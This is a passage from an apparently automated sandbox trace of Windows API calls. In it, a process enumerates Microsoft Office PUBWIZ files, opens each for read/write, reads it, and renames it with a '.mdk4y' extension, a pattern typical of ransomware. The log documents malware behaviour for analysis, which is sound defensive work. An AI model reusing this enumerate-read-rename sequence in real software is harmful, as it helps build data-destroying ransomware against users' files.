Office\\Office14\\PUBWIZ\\DGBARBLL.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.dpv.mdk4y")) returned 1 [0240.999] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0240.999] AreFileApisANSI () returned 1 [0240.999] GetACP () returned 0x4e4 [0240.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGBARBLL.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGBARBLL.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0240.999] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0241.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831623100000) returned 1 [0241.001] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x456, lpOverlapped=0x0) returned 1 [0242.580] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831781000000) returned 1 [0242.580] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831781000000) returned 1 [0242.581] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.xml.mdk4y")) returned 1 [0242.583] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0242.583] AreFileApisANSI () returned 1 [0242.583] GetACP () returned 0x4e4 [0242.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGBORDER.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGBORDER.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0242.583] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0242.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831781400000) returned 1 [0242.584] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1600, lpOverlapped=0x0) returned 1 [0242.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831786000000) returned 1 [0242.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831786000000) returned 1 [0242.630] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.dpv.mdk4y")) returned 1 [0242.632] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0242.632] AreFileApisANSI () returned 1 [0242.632] GetACP () returned 0x4e4 [0242.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGBORDER.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGBORDER.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0242.632] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0242.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831786400000) returned 1 [0242.634] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9a4, lpOverlapped=0x0) returned 1 [0243.599] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831882900000) returned 1 [0243.599] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831882900000) returned 1 [0243.599] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.xml.mdk4y")) returned 1 [0243.601] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0243.601] AreFileApisANSI () returned 1 [0243.601] GetACP () returned 0x4e4 [0243.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGBOXES.DPV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGBOXES.DPVL", lpUsedDefaultChar=0x37df4c) returned 11 [0243.601] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0243.602] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831883200000) returned 1 [0243.602] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc00, lpOverlapped=0x0) returned 1 [0243.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831913900000) returned 1 [0243.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831913900000) returned 1 [0243.909] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.dpv.mdk4y")) returned 1 [0243.911] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0243.911] AreFileApisANSI () returned 1 [0243.911] GetACP () returned 0x4e4 [0243.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGBOXES.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGBOXES.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0243.911] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0243.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831914200000) returned 1 [0243.912] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x21e, lpOverlapped=0x0) returned 1 [0243.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831914300000) returned 1 [0243.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831914300000) returned 1 [0243.913] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.xml.mdk4y")) returned 1 [0243.914] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0243.914] AreFileApisANSI () returned 1 [0243.914] GetACP () returned 0x4e4 [0243.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGCAL.DPV", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGCAL.DPVML", lpUsedDefaultChar=0x37df4c) returned 9 [0243.915] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0243.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831914500000) returned 1 [0243.915] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x35468, lpOverlapped=0x0) returned 1 [0244.181] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831941100000) returned 1 [0244.181] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831941100000) returned 1 [0244.183] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.dpv.mdk4y")) returned 1 [0244.185] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.185] AreFileApisANSI () returned 1 [0244.185] GetACP () returned 0x4e4 [0244.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGCAL.XML", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGCAL.XML", lpUsedDefaultChar=0x37df4c) returned 9 [0244.185] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831941600000) returned 1 [0244.186] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e66, lpOverlapped=0x0) returned 1 [0244.245] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831947500000) returned 1 [0244.245] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831947500000) returned 1 [0244.245] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.xml.mdk4y")) returned 1 [0244.247] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.247] AreFileApisANSI () returned 1 [0244.247] GetACP () returned 0x4e4 [0244.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGCHKBRD.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGCHKBRD.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0244.247] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831947900000) returned 1 [0244.249] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1000, lpOverlapped=0x0) returned 1 [0244.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831952400000) returned 1 [0244.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831952400000) returned 1 [0244.294] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.dpv.mdk4y")) returned 1 [0244.296] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.296] AreFileApisANSI () returned 1 [0244.296] GetACP () returned 0x4e4 [0244.296] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGCHKBRD.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGCHKBRD.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0244.296] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831952800000) returned 1 [0244.298] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x29e, lpOverlapped=0x0) returned 1 [0244.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831952900000) returned 1 [0244.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831952900000) returned 1 [0244.300] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.xml.mdk4y")) returned 1 [0244.346] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.346] AreFileApisANSI () returned 1 [0244.346] GetACP () returned 0x4e4 [0244.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGCINFO.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGCINFO.XMLL", lpUsedDefaultChar=0x37df4c) returned 11 [0244.346] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831957700000) returned 1 [0244.347] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x49e, lpOverlapped=0x0) returned 1 [0244.407] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831963700000) returned 1 [0244.407] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831963700000) returned 1 [0244.408] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcinfo.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcinfo.xml.mdk4y")) returned 1 [0244.409] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.412] AreFileApisANSI () returned 1 [0244.412] GetACP () returned 0x4e4 [0244.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGCOUPON.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGCOUPON.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0244.412] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831964400000) returned 1 [0244.414] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6082, lpOverlapped=0x0) returned 1 [0244.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831972800000) returned 1 [0244.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831972800000) returned 1 [0244.499] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.dpv.mdk4y")) returned 1 [0244.500] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.500] AreFileApisANSI () returned 1 [0244.500] GetACP () returned 0x4e4 [0244.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGCOUPON.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGCOUPON.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0244.501] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.502] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831973200000) returned 1 [0244.502] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x282, lpOverlapped=0x0) returned 1 [0244.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831973300000) returned 1 [0244.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831973300000) returned 1 [0244.503] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml.mdk4y")) returned 1 [0244.573] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.573] AreFileApisANSI () returned 1 [0244.573] GetACP () returned 0x4e4 [0244.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGDOTS.DPV", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGDOTS.DPVML", lpUsedDefaultChar=0x37df4c) returned 10 [0244.573] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831984500000) returned 1 [0244.615] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1800, lpOverlapped=0x0) returned 1 [0244.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831992200000) returned 1 [0244.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831992200000) returned 1 [0244.692] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.dpv.mdk4y")) returned 1 [0244.694] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.694] AreFileApisANSI () returned 1 [0244.694] GetACP () returned 0x4e4 [0244.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGDOTS.XML", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGDOTS.XML", lpUsedDefaultChar=0x37df4c) returned 10 [0244.694] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831992500000) returned 1 [0244.695] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b2, lpOverlapped=0x0) returned 1 [0244.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831992600000) returned 1 [0244.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831992600000) returned 1 [0244.696] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml.mdk4y")) returned 1 [0244.698] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.698] AreFileApisANSI () returned 1 [0244.698] GetACP () returned 0x4e4 [0244.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 